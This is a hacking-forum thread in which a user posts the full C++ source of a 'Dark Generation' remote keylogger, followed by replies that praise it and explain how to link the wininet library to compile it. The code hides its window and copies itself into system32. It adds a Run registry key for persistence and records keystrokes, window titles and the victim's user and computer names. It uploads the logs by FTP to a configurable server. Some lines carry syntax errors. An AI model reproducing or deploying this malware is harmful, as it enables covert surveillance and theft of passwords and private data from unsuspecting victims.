Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Dark Generation Remote Keylogger
  • This is my C++ remote keylogger. :D
    To compile with Dev C + + add the library libwininet.a before compiling.
    /*
    #DakrGeneration Remote Keylogger
    #Written By G0ld3n dr4g0n
    #Keylogger in c++ con upload del file di log (denominato darkgen.txt e presente nella cartella system32 insieme al keylogger SysGen.exe)
    #via ftp, ad intervalli di 30 minuti
    #Per compilare con Dev C++ aggiungere la libreria libwininet.a prima della compilazione
    #Copyleft 2010
    #Perchè ci siamo rotti di questa cazzutissima copyright ;)
    */

    #include <windows.h>
    #include <wininet.h>
    #include <winuser.h>
    #include <fstream>
    #include <ctime>
    #include <iostream>
    #include <conio.h>
    //#include <libwininet.a>

    // Modifica Con le tue credenziali di accesso
    #define HOST \"www.sito.it\"
    #define USER \"user\"
    #define PASS \"password\"




    using namespace std;

    char Dest_log[255]= {0};

    int sistema_infettato(char *prog_name);
    int write_log(char c);
    int write_log(char *s, bool timed = false);
    void NomeLogRemoto (char *str);
    void open_log (void);
    void logNomeFinestra (void);
    bool Shifted(void);

    DWORD WINAPI ftp_upload(LPVOID lpParam) {
    char LogR[255]= {0};
    HINTERNET hCon, sFtp;

    while(true) {
    hCon = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

    if (hCon == NULL) {
    write_log(\"\n!!! Errore connessione !!!\",true);
    Sleep(1000 * 60 * 30);
    continue;
    }
    sFtp = InternetConnect(hCon, HOST, INTERNET_DEFAULT_FTP_PORT, USER, PASS, INTERNET_SERVICE_FTP, 0, 0);

    if (sFtp == NULL) {
    write_log(\"\n!!! Errore connessione FTP !!!\",true);
    Sleep(1000 * 60 * 30);
    continue;
    }
    NomeLogRemoto(LogR);

    if (!FtpPutFile(sFtp, Dest_log, LogR, INTERNET_FLAG_TRANSFER_BINARY, 0)) {
    write_log(\"\n!!! Errore Upload Log !!!\",true);
    InternetCloseHandle(hCon);
    InternetCloseHandle(sFtp);
    Sleep(1000 * 60 * 30);
    continue;
    } else {

    DeleteFile(Dest_log);
    open_log();
    }

    InternetCloseHandle(hCon);
    InternetCloseHandle(sFtp);
    Sleep (1000 * 60 * 60);
    }
    }


    int main(int argc, char *argv[]) {
    bool shift;
    char NomeTasto[25];
    HANDLE hThread;

    if(!GetSystemDirectory(Dest_log, 255)) {
    write_log(\"!!! Errore nell'ottenere il percorso di system32 !!!\", true);
    sprintf (Dest_log, \"C:\\WINDOWS\\system32\\darkgen.txt\");
    } else
    strcat (Dest_log, \"\\darkgen.txt\");

    open_log();
    sistema_infettato(argv[0]);

    hThread = CreateThread(NULL, 0, ftp_upload, NULL, 0, (DWORD*) 0);

    if (hThread == NULL) {
    write_log(\"\n!!! Errore Creazione Thread !!!\", true);
    }

    while (true) {
    while(!kbhit());

    for (int i=8; i<=256; i++) {
    if(GetAsyncKeyState(VK_SHIFT)) { // Se Shift è Premuto

    for(int i=65; i<=90; i++) // ATTENZIONE SE E' attivo VK_CAPITAL i caratteri devono essere minuscoli.
    if(GetAsyncKeyState(i)== -32767) write_log(i);

    for(int i= 48; i<= 57; i++) // caratteri =!\"£$%&/()
    if(GetAsyncKeyState(i) == -32767) {
    if(i==48) write_log(61);
    else if(i==51) write_log(163);
    else if(i==55) write_log(47);
    else write_log(i-16);
    }


    if( GetAsyncKeyState(220) == -32767) write_log(\"|\");
    if( GetAsyncKeyState(188) == -32767) write_log(\";\");
    if( GetAsyncKeyState(190) == -32767) write_log(\":\");
    if( GetAsyncKeyState(189) == -32767) write_log(\"_\");
    if( GetAsyncKeyState(186) == -32767) write_log(\"é\");
    if( GetAsyncKeyState(187) == -32767) write_log(\"*\");
    if( GetAsyncKeyState(192) == -32767) write_log(\"ç\");
    if( GetAsyncKeyState(222) == -32767) write_log(\"°\");
    if( GetAsyncKeyState(191) == -32767) write_log(\"§\");
    if( GetAsyncKeyState(219) == -32767) write_log(\"?\");
    if( GetAsyncKeyState(221) == -32767) write_log(\"^\");
    if( GetAsyncKeyState(226) == -32767) write_log(\">\");
    if( GetAsyncKeyState(VK_SPACE) == -32767) write_log(\" \");
    if( GetAsyncKeyState(VK_BACK) == -32767) write_log(\"[DEL]\");

    }
    else { //Se Shift non è premuto

    if(GetAsyncKeyState(i) & 0x7FFF) {

    logNomeFinestra ();
    shift = Shifted();

    if(i > 47 && i < 91) {
    if(shift == false) write_log(tolower(i));
    else write_log((char) i);
    }
    else {

    switch (i) {
    case VK_RETURN:
    write_log(\"\n[INVIO]\n\");
    break;

    case VK_SPACE:
    write_log(\" \");
    break;

    case VK_BACK:
    write_log(\" [DEL] \");
    break;

    case VK_DELETE:
    write_log(\" [CANC] \");
    break;

    case VK_UP:
    write_log(\"\n[FRECCIA SU]\n\");
    break;

    case VK_DOWN:
    write_log(\"\n[FRECCIA GIU']\n\");
    break;

    case VK_LEFT:
    write_log(\"\n[FRECCIA SINISTRA]\n\");
    break;

    case VK_RIGHT:
    write_log(\"\n[FRECCIA DESTRA]\n\");
    break;

    case VK_MULTIPLY:
    write_log(\"*\");
    break;

    case VK_DIVIDE:
    write_log(\"/\");
    break

    case VK_SUBTRACT:
    write_log(\"-\");
    break;

    case VK_ADD:
    write_log(\"+\");
    break;

    case VK_NUMLOCK:
    write_log(\"\n[NUM LOCK]\n\")
    break;

    case VK_CAPITAL:
    write_log(\"\n[CAPS LOCK]\n\");
    break;

    case VK_SCROLL:
    write_log(\"\n[SCROLL LOCK]\n\")
    break;

    case VK_SHIFT:
    write_log(\"\");
    break;

    case VK_LSHIFT:
    write_log(\"\");
    break;

    case VK_RSHIFT:
    write_log(\"\");
    break;

    case VK_INSERT:
    write_log(\" [INSERT] \");
    break;

    case VK_PAUSE:
    write_log(\"\n[PAUSE]\n\");
    break;

    case VK_CONTROL:
    write_log(\"\");
    break;

    case VK_MENU:
    write_log(\"\");
    break;

    case VK_LMENU:
    write_log(\"\n[LEFT ALT]\n\");
    break;

    case VK_RMENU:
    write_log(\"\n[ALT GR]\n\");
    break;

    case VK_ESCAPE:
    write_log(\"\n[ESC]\n\");
    break;

    case VK_SNAPSHOT:
    write_log(\"\n[STAMP]\n\");
    break;

    case VK_TAB:
    write_log(\"\n[TAB]\n\");
    break;

    case VK_FINAL:
    write_log(\"\n[FIN]\n\");
    break;

    case VK_NEXT:
    write_log(\"\n[PAGINA DOPO]\n\");
    break;

    case VK_PRIOR:
    write_log(\"\n[PAGINA PRIMA]\n\");
    break;

    case VK_HELP:
    write_log(\"\n[HELP]\n\");
    break;

    case VK_NUMPAD0:
    write_log(\"0\");
    break;

    case VK_NUMPAD1:
    write_log(\"1\");
    break;

    case VK_NUMPAD2:
    write_log(\"2\");
    break;

    case VK_NUMPAD3:
    write_log(\"3\");
    break;

    case VK_NUMPAD4:
    write_log(\"4\");
    break;

    case VK_NUMPAD5:
    write_log(\"5\");
    break;

    case VK_NUMPAD6:
    write_log(\"6\");
    break;

    case VK_NUMPAD7:
    write_log(\"7\");
    break;

    case VK_NUMPAD8:
    write_log(\"8\");
    break;

    case VK_NUMPAD9:
    write_log(\"9\");
    break;

    default:
    GetKeyNameText(MapVirtualKey(i, 0) << 16, NomeTasto, 25);


    if(strlen(NomeTasto) < 2) write_log(NomeTasto);

    else {
    write_log('[');
    write_log(NomeTasto);
    write_log(']');
    }
    }
    }
    }
    }
    }
    }
    return 0;
    }
    void open_log(void)
    {
    DWORD bSize = 255;
    const char titolo[] = \"{}{}{}{} Dark Generation Crew Remote Keylogger {}{}{} \nGreez to: Letal_Axel, Giuseppe69 & MZ \nCopyleft 2010 by G0ld3n dr4g0n \n\";
    char NomeComputer[255], NomeUtente[255];

    write_log((char *) titolo);

    GetComputerName(NomeComputer, &bSize);
    GetUserName(NomeUtente, &bSize);

    write_log(\"\n{}{}{} Username utente vittima:\t\t\");
    write_log(NomeUtente);

    write_log(\"\n{}{}{} Nome Computer vittima:\t\");
    write_log(NomeComputer);
    write_log(\"\n\");

    write_log(\"\n{}{}{} Ora Inizio:\t\",true);
    }
    int sistema_infettato(char *prog_name)
    {
    HKEY hKey;
    HWND hWnd;
    char destPath[255];

    hWnd = FindWindow(\"ConsoleWindowClass\", NULL);
    ShowWindow(hWnd, SW_HIDE);

    if(!GetSystemDirectory(destPath, 255)) {
    write_log(\"\n!!! Errore nell'ottenere il percorso della cartella System32 !!!\", true);
    sprintf(destPath, \"C:\\WINDOWS\\system32\\%s\", \"SysGen.exe\");
    } else {
    strcat(destPath, \"\\\");
    strcat(destPath, \"SysGen.exe\");
    }

    if(!CopyFile(prog_name, destPath, FALSE) {
    write_log(\"\n!!! Errore nel copiare il file nella cartella System32 !!!\", true);
    return 1;
    }

    if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_SET_VALUE, &hKey)
    != ERROR_SUCCESS)
    {
    write_log(\n!!! Errore nella creazione della chiave di registro: \", true);
    return 1;
    }

    if(RegSetValueEx(hKey, \"SysGen\", 0, REG_SZ, (const unsigned char*) destPath, strlen(destPath))
    != ERROR_SUCCESS)
    {

    write_log(\"\n[!] Errore nella creazione della chiave di registro: \", true)
    RegCloseKey(hKey);
    return 1;
    }

    RegCloseKey(hKey);
    return 0;
    }

    int write_log(char c) {
    ofstream logFile(Dest_log, ios::out | ios::app);
    if(!logFile.is_open()) {
    return 1;
    }

    logFile << c;
    logFile.flush();
    logFile.close();
    return 0;
    }

    int write_log(char *s, bool timed) {
    time_t cTime;
    ofstream logFile(Dest_log, ios::out | ios::app);
    if(!logFile.is_open()) {
    return 1;
    }

    logFile << s;
    if(timed == true) {
    time ( &cTime );
    logFile << ctime( &cTime )
    }

    logFile.flush();
    logFile.close();
    return 0;
    }

    void logNomeFinestra(void) {
    static HWND hWnd = NULL;
    char NomeFinestra[255] = {0};

    if(hWnd != GetForegroundWindow()) {

    hWnd = GetForegroundWindow();
    if(GetWindowText(hWnd, NomeFinestra, 255)) {
    write_log(\"\n{}{}{} Finestra: \");
    write_log(NomeFinestra);
    write_log(\" {}{}{}\n\n\");
    }
    }
    }

    void NomeLogRemoto(char *str) {
    DWORD size = 55;
    char cName[55], cTime[55];

    time_t rawtime;
    struct tm * timeinfo;

    time ( &rawtime );
    timeinfo = localtime ( &rawtime );

    GetComputerName(cName, &size);
    strftime(cTime, 55, \"%d:%m_%H:%M\", timeinfo);

    sprintf(str, \"%s_%s.log\", cName, cTime);
    }

    bool Shifted(void) {
    if((GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)) & 0x8000) {
    if(GetKeyState(VK_CAPITAL)) return false;
    else return true;
    }
    else {
    if(GetKeyState(VK_CAPITAL)) return true;
    else return false;
    }
    }


    G0ld3n dr4g0n
  • Sh3llc0d3
    Posts: 1,910
    Nice contribution, well done. I personally used a complete global hook when I did a similar thing. I'll find the code on my laptop and paste it if I can.
  • thank you Sh3llc0d3 :D
  • After fixing errors after errors (Missing brackets and commas(,)), I still get an error:
      [Linker error] undefined reference to `InternetCloseHandle@4' 


    How is this error fixed?
    Other than that, the code seems to be real nice.

    -Cheers.
  • Sh3llc0d3
    Posts: 1,910
    said:


    After fixing errors after errors (Missing brackets and commas(,)), I still get an error:

      [Linker error] undefined reference to `InternetCloseHandle@4' 


    How is this error fixed?
    Other than that, the code seems to be real nice.

    -Cheers.


    Assuming your using dev c++:

    Link against wininet in dev c++, go to Project > Project options > Parameters and in the third box add "-lwininet"

    If your using what you should be, codeblocks ;) same thing, add "-lwininet" to "other linker settings" (i think) under compiler settings. That'll enable you to compile it... there are better ways to make a logger, this one uses deprecated methods. If you using CB then you'll see ;)
  • how can I avoid this crazy chars? 

    \"www.sito.it\"
  • m0rph
    Posts: 332
    Sorry bangarang, after we switched our forum software to Vanilla alot of certain characters within code and quote tags were converted into ASCII html values. You'll just have to make do with what you see. :/
    while( !(succeed = try() ) );
  • This is a good example of good Poster...



    Create and Share...
  • Xin
    Posts: 3,251
    Good post, I'm sure people can learn a lot from this.
    Xin